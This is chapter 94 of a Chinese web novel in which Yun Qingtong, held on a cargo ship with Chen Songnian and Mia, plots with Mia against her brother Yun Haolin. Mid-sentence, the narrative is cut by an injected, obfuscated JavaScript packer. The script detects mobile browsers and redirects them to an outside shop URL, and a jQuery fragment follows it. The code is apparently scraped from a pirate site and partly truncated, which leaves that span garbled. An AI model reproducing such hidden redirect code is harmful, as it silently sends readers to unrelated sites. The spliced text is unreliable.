94. chapter 94
作品:《落日天平[港]》 “云清桐,不要再这样逃避感情了。感情本身是没有错的,以你的能力,本就是有能够掀桌的能力,可你没有不掀桌的修养。”
在陈颂年的声音停下时,房间内一时之间就陷入了安静沉默。
只有偶尔能听到的海浪声,和两人的呼吸声。
“云清桐,其实董知晏确实挺不错的。”
在他说完这句话,一直保持着一个姿势的云清桐才终于转动了一下眼球,黑的发亮的瞳孔倒是能倒映出他的面庞。
可最终,云清桐还是什么都没有,直接在沙发上躺下了,“困了,先睡了。”
这样的逃避,对于云清桐而言,本就是一件反常的事。
看着她的背影好一会,陈颂年才见过身上的长羽绒脱下,盖在了她身上。
在深夜的船舱里,就算是二月份,也是不冷的。
一整夜,也不知道是白天在那个小集装箱里睡着过,还是因为这个小空间里有陈颂年,她几乎一夜未眠。
大脑一直处于一个异常的清醒状态。
董知晏给她做的治疗过程,已经从最开始的不适到难受再到现在是能一点点感觉到放松的了。
在这间小小的船舱里,对时间的流逝的感知就是每日三餐,以及从小圆型窗户透进来的光线。
只是今天恰好遇上暴风雨,本该放晴的早晨却是乌云密布着,陈颂年被云昊霖请走了。
可这个船舱似乎一定要维持两人定律,陈颂年走了,米娅就进来了。
“你有话想和我说?”
云清桐还是头一次这么的犹豫,明明已经想好是要说的话了,可当机会真的就在面前时,又还是很难开口。
皱起的眉头又松开,还是在深吸了一口气后,才直球道:“米娅,这艘货船上的原料换克里斯。”
米娅直视着她,却是没有犹豫地就摇头了。
“我并不想见他,他会不安全的。”
云清桐凝起的眉头,看来她在对待这个问题上要比云清桐想的要更透彻一点。
“但我同意帮你,互帮是前提。”
米娅态度的转变实属是让云清桐有些跟不上地节奏了。
“你不要克里斯,那你要什么?”
“我不会狮子大开口,要的也只是你可以帮我的。如果可以,最后关头,请你放昊霖一码。”
云清桐觉得自己的大脑好像完全不能够理解这是什么样的中文,每个字拆开能听明白,可组合在一起,她的大脑怎么就理解不了?
看着她脸上的不解,还有蹙起的眉心,米娅都没有再解释,只是在等云清桐的回复。
“好。”
短暂的沉默并不是犹豫要不要答应,只是不能明白米娅所提的要求。
“你有什么想法?”
对这个计划,在还没有下定决心要帮忙的时候,她就已经想好了,现在就是可以直接拿出来。
“既然他想要将这艘船藏匿在丹老群岛,确实是越混杂的地方越难排查。”云清桐打了个哈欠,眼尾挤出几滴生理性的泪水,抬手随意抹掉后才继续说:“这么大的一个目标在停在那港口,想要被其他人发现本就是一个很简单的事。起码对于你来说,可以轻易做到。”
依照目前的状况,云清桐和陈颂年在这艘船上都是没有什么自由可言的,可米娅不一样。
“你想要坐收渔翁之利?”
云清桐转了转那双漆黑的瞳孔,旋即一笑,“对呀,这样不是最省时省力的吗?再说了,云昊霖都已经替我们找了这么一个好地方,不在这干点事,难道就每天两眼一睁望着海平面发呆吗?”
米娅脸上一直没有什么表情,或者说是只有淡淡的表情。
在云清桐这一脸理所当然和尤为轻松的表情下,真的是又一次刷新了她对云清桐的了解。
“其实我们也不需要多做什么麻烦的事,现在就是等,等我们到目的地,等董知晏过来,等一股从海上来的东风。”
云清桐双眼都要溢满了笑意,对这个计划,她还是很满意的。
当然,也有着终于将这件犹豫不决的事处理好的释然,那只紧握住她心脏无形的手,也在说出口的这一刻,突然松开了。
“有时候,你们真的不愧是兄妹。”
米娅都已经走到门口了,云清桐才反应过来这句话是什么意思,“都是合作的关系了,你怎么还骂我?”
可惜回应她的只有关门的声音。
在海上也就飘了四天吧,终于在第五天他们下船了。
云清桐觉得自己的小腿都已经快要肿到难以走路了。
吃不好睡不好的,真是遭老罪了。
“下船后,我要自己一个人睡房间。”
好不容易见到了云昊霖那个大忙人,云清桐实在是受不了在她睡觉的空间里还有另外一个人的存在,就算陈颂年已经很轻手轻脚了,甚至都没有发出过声音。
可在云清桐二中,是连他呼吸的频率都能感受到的。
“谁说我们要在这下船?”
云昊霖只是略微垂眸用余光看向云清桐,鼻间还有轻轻哼笑的声音。
她并不了解这里究竟是哪只是看着这停靠的海域,很干净,海水很蓝,看起来更像是旅游业发达的地方。
“哦,那就从今天开始,我要自己一个人睡一个船舱。”
云清桐顶着一双黑眼圈,脸上的精致早已不见。
微微肿的脸愣是磨平了五官突出带来的魅,脸上抱怨的小表情更是平添了一些萌感。
在这的短暂停靠,原来只是为了换一搜货轮,一艘外表看起来历经风霜的货轮。
等换了新的船舱,她才发现,不应该抱怨的,像这样能让她不舒心的,云昊霖这家伙是很乐意顺手就做了。
又是四天的海上漂流,好不容易能在甲板上透气时,还遇上了雾蒙蒙的细雨,没有阳光,看不见前方的,四周能看到的就只有不断涌起落下的海浪。
“陈教授,这份兼职的工作做完了?”
感受到身后有人靠近,虽然又有几天没见了,可他的脚步声还是一样的明显。
“你呢,还没想好?”
明明周围还有人在走动,陈颂年也就这么不避讳的说了出来。
这几日,云昊霖确实给他看了货船上运载的原材料,也正是他们所需要的,云昊霖甚至承诺,只要他不是要将成药卖给董氏医疗,那还可以再降低零点五个点,可以给到他最大的利益。
云清桐转头,额前的碎发在眼睛前面不听话地乱晃着,“这是在探我的口风,估量哪一边的成功率更高吗?”
迎着海风和细细的雨滴,云清桐微微眯着双眼,“陈颂年,你是怎么评价董知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994375|182281||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晏的?”
陈颂年看向的远处的海面,能看到的只是被海风卷起的浪,一望无际的海面。
“云清桐,希望这一次还是我赌对了。”
“赌?那还挺有意思的,由我来掌握生死的赌局吗?”
两人就这样一同看着海面,感受着海风和逐渐变大的雨滴。
——
整日的轮船轰鸣声,云清桐现在基本已经适应了就在海边的环境。
从米娅口中知道了,这是仰光港,在缅甸来说还算是没那么乱的地方。
云昊霖从昨天开始才终于开始忙碌起来了。
在仰光港安稳无事发生的十来天,属实是生活无聊到极致的一段时光了。
房间的门被直接推开,云清桐还躺在被窝里,就这样被人抓着肩膀拉了起来。
及腰的长发已经被她一刀剪到了肩头的位置。
睁眼看到是云昊霖时,尽管还没睡醒,可脸上的笑意就已经迫不及待要嘲笑他了。
“你是不是忘了,现在你也算是我手上的一张底牌?”
云清桐睡得还有些迷瞪的双眼,缓慢睁开,从胸腔里的笑意更是一直没听过,就这样偏歪着头,掰开他抓在自己肩膀的手。
眼睛里的笑意一点点消退,可嘴角的弧度仍旧保持着。
“那你要不要猜一猜,我还有没有底牌?要不就猜猜,我一个连自由都没有的人,又是怎么做的了这些事的呢?”
匹夫本无罪,可怀璧其罪。
就算是再破旧的货船,可在这样一个鱼龙混杂的地盘上,停留这么久本就是不正常的,自然会引来有心人的查探。
这个时候,只需要米娅配合,抛出一点点的线头,整个线团就会有人去拆解。
看着云昊霖的表情变化,云清桐眼底里重新溢满笑意。
看来他也能猜到,可就是这样的才是最好玩的。
曾经或者未来他都无条件信任和依赖的枕边人,却成了这个往他后背插刀子的人。
云昊霖再看向那双眼睛时,突然低头自嘲地笑了一下,才抬眸看向云清桐。
“输赢没定,要不你也猜一猜,董知晏是选这些原材料,还是选你?”
被直接拽着往外走,一路重新回到那艘货轮上。
在上船之前,云清桐看到了船的吃水量很明显就是少了,看来船上的东西也早就被搬下来。
米娅和陈颂年似乎都不在船上,云清桐看着和她待在同一个空间的云昊霖,也大概能猜到他想怎么补救。
用她来当诱饵,将已经出现在仰光港的董知晏他们引走。
虽然没有从董知晏口中了解过,但这半个月以来,从云昊霖的行动来看,无疑都是在和时间赛跑。
云昊霖只需要将时间尽量往后拖,那他的计划就能达到了。
这一次出航很着急,船上的人并不是很多。
“呜——嗡——”
从船舱外传来的轮船轰鸣声有些过于刺耳了,像是在无线靠近。
尽管还没有亲眼看到,仅凭声音就能感受到了能发出这样声音的轮船有多么的巨大。
碾过耳膜的声音,像是砂纸摩擦着神经,让人下意识地头皮发麻。
正在看着电脑屏幕的云昊霖抬头,正好对上云清桐转头的目光。
笑意在一点点往外溢出。

